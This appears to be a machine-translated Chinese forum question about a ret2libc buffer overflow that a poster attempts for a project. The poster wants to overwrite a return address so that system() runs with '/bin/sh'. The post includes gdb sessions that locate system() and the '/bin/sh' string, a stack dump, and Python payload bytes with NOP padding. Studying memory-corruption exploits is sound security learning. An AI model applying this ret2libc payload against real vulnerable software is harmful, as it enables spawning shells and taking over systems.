我正在尝试为项目执行缓冲区溢出。缓冲区需要溢出到/ bin / sh。我找到了正确的返回地址,但我似乎没有成功获得溢出。
Program received signal SIGSEGV, Segmentation fault.
0xb7fbc544 in msg (params) at myfile.c:167
167 msg_length = ctx->backend->send_msg_pre(msg, msg_length);
(gdb) backtrace
#0 0xb7fbc544 in msg (params) at myfile.c:167
#1 0xb7fbc869 in my_function(params) at myfile.c:912
#2 0xb7e4c190 in ?? () at ../sysdeps/unix/sysv/linux/system.c:76 from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
要查找/ bin / sh,请按this post:
(gdb) print &system
$15 = (<text variable, no debug info> *) 0xb7e4c190 <__libc_system>
(gdb) find &system,+9999999,"/bin/sh"
0xb7f6ca24
warning: Unable to access 16000 bytes of target memory at 0xb7fc292c, halting search.
1 pattern found.
(gdb)
我找到了返回地址并验证它是否正确(如果我将其替换为调用该函数的其他函数)。原始返回地址以粗体显示
0xbffff690:0x90909090 0x90909090 0x90909090 0xb7e4c190
0xbffff6a0:0xb7f6ca24 0x0804c050 0x0000004d 0x0804c158
我发送的有效负载是 0xb7e4c190 0xb7f6ca24 50
这种溢出比其他溢出更棘手,因为我需要在前面和后面做一些填充。我溢出的项目的工作方式是它设置6个字节,因此每个集合将占用一个地址的一部分而另一个地址。
我认为问题是我必须溢出最后一个字节。我匹配它原来的东西,但这似乎不起作用:
payload = payload + ['\x90'] + ['\xc1'] + ['\xe4'] + ['\xb7']
payload = payload + ['\x24'] + ['\xca'] + ['\xf6'] + ['\xb7'] + ['\x50']
我在这里缺少什么?因为堆栈没有在溢出中显示/ bin / sh调用,我觉得这样不正确。